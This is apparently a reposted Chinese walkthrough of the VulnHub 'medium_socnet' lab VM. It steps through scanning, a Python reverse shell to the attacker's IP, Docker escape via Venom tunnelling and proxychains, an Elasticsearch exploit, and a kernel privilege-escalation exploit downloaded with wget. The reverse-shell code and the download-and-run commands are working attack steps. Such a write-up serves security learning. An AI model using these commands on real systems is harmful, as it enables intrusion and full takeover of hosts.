栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

kali之vulhub,medium

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

kali之vulhub,medium

目录

一、部署环境

二、进行主机发现,arp-scan进行扫描

三、使用nmap扫描发现的靶机IP

1.全端口扫描,看服务

2.查看端口所用服务版本

3.登录ip地址看一下 

四、扫目录(dirsearch脚本;和windous御剑类似)

1.安装dirsearch

2.开扫

3.登录网址/admin

(1)开启侦听

(2)进行python反弹shell

(3)id查看当前登录的用户

(4)如何判断是一个docker系统呢

五、跳出docker容器系统隔离环境

1.查看容器ip

六、内网穿透

ok,内网穿透到此结束

七、对内网地址172.17.0.1进行扫描

1.端口服务扫描

2.登录内网172.17.0.1地址

(1)配置代理

(2)访问

八、对内网地址172.17.0.2进行扫描

1.扫端口和服务版本

2.搜索Elasticsearch已知漏洞

 3.利用漏洞

(1)复制到当前文件夹下

(2)拿到容器root

 (4)对这个容器信息收集

 九、利用开放的22端口ssh服务

十、提权

1.查看内核版本

 2.查询相关漏洞

(1)复制到本地

(2)查看并编辑

 (3)在kali本机找ofs-lib.so

(4)编译37292.c文件

 (5)开启http服务

(6)下载编译好的文件

(7)全部移入tmp文件夹下

 十一、成功拿到宿主机root权限


一、部署环境

靶机下载地址:

https://download.vulnhub.com/boredhackerblog/medium_socnet.ova

虚拟机网络连接方式采用nat模式即可,靶机和kali位于同一网段下。

二、进行主机发现,arp-scan进行扫描

sudo arp-scan -l

三、使用nmap扫描发现的靶机IP

1.全端口扫描,看服务

sudo nmap -p- 192.168.29.128

发现开放了两个端口22,5000

2.查看端口所用服务版本

sudo nmap -p22,5000 -sV 192.168.29.128

3.登录ip地址看一下 

没看出来啥

四、扫目录(dirsearch脚本;和windous御剑类似)

1.安装dirsearch

(1)sudo su  进入超级用户

(2)apt-get update 更新库

(3)apt-get install dirsearch 下载

2.开扫

dirsearch -u http://192.168.29.128

在5000扫出来一个/admin目录

3.登录网址/admin

输入网址加端口进入后台

(1)开启侦听

nc -nvlp 4444

(2)进行python反弹shell

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.29.129",4444))
os.dup2(s.fileno(),0)       
os.dup2(s.fileno(),1)       
os.dup2(s.fileno(),2)       
p=subprocess.call(["/bin/sh","-i"])

(3)id查看当前登录的用户

注意:老师说这个很诡异,拿到的不是宿主机的最高权限,而是docker容器系统的权限

(4)如何判断是一个docker系统呢

查看两个文件是否存在

两条命令:ls /.dockerenv

cat /proc/1/cgroup

五、跳出docker容器系统隔离环境

1.查看容器ip

ip a与ipconfig命令相似

2.主机发现

1.简易脚本:

for i in $(seq 1 10); do ping -c 1 172.17.0.$i ; done

2.发现其他ip

六、内网穿透

1.下载venom

Releases · Dliv3/Venom · GitHubhttps://github.com/Dliv3/Venom/releases2.启动服务侦听9999端口

 3.在服务端开启http服务

先切换到venom v1.1.0 文件夹下,在开启http的80端口服务

python3 -m http.server 80

4.在客户端下载a文件(将venom中的agent x64 linux重命名为了a)

wget http://192.128.29.129/a

(1)下载完成

(2)给予权限

 chmod +x a

5.连接服务端

./a -rhost 192.168.29.129 -rport 9999

successfully connects 成功连接

 6.服务端查看连接,到节点去,启动一个侦听代理

show

goto 1

socks 1080

 7.使用proxychains(命令行代理神器)

使用它是为了让我们nmap等探测工具可以通过代理来扫描到内网主机

(1)修改proxychains的配置文件

将 socks4改为socks5 ,端口改为1080

ok,内网穿透到此结束

七、对内网地址172.17.0.1进行扫描

1.端口服务扫描

proxychains nmap -Pn -sT 172.17.0.1

挂上端口号和-sV参数继续扫描,查看服务版本

proxychains nmap -p22,5000 -Pn -sV -sT  172.17.0.1

 通过观察我们可以发现,01这个ip和我们刚开始发现的ip,不管是版本还是服务全都一模一样

2.登录内网172.17.0.1地址

(1)配置代理

(2)访问

 可以发现此页面与之前的页面完全一样,可以推断出原ip就是宿主机ip,内网ip是指向docker容器的一个ip

八、对内网地址172.17.0.2进行扫描

1.扫端口和服务版本

扫到一个9200端口之后对这个端口进行服务版本扫描

发现其中存在Elasticsearch。

2.搜索Elasticsearch已知漏洞

kali本身带有一些漏洞库,利用命令搜索

searchsploit Elasticsearch

 3.利用漏洞

(1)复制到当前文件夹下

cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

(2)拿到容器root

python2 36337.py 172.17.0.2

 (4)对这个容器信息收集

发现有个passwords文件,查看一下 ,发现有账号和加密后的密码

解密后的值为1337hack

 九、利用开放的22端口ssh服务

ssh john@192.168.29.128

 可以成功登录,但是利用切换到root用户不成功,只是普通用户。

十、提权

利用内核版本来进行提权

1.查看内核版本

uname -a

 2.查询相关漏洞

利用这条漏洞

(1)复制到本地

cp /usr/share/exploitdb/exploits/linux/local/37292.c .

(2)查看并编辑

由于调用了外部库文件,用gcc生成共享二进制文件so,由于gcc在容器主机没有安装,所有无法正常编译,所以要修改代码并在kali服务端编译好。

将代码调用外部库文件编译二进制文件删除掉

 (3)在kali本机找ofs-lib.so

并且拷贝到本地

locate ofs-lib.so

(4)编译37292.c文件

gcc -o exp 37292.c

 (5)开启http服务

python3 -m http.server 80

(6)下载编译好的文件

wget http://192.168.29.129/ofs-lib.so

wget http://192.168.29.129/exp

(7)全部移入tmp文件夹下

此举是为了保证可以正确执行。

mv * /tmp

给予权限

chmod +x exp

id查看一下

 十一、成功拿到宿主机root权限

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/868653.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号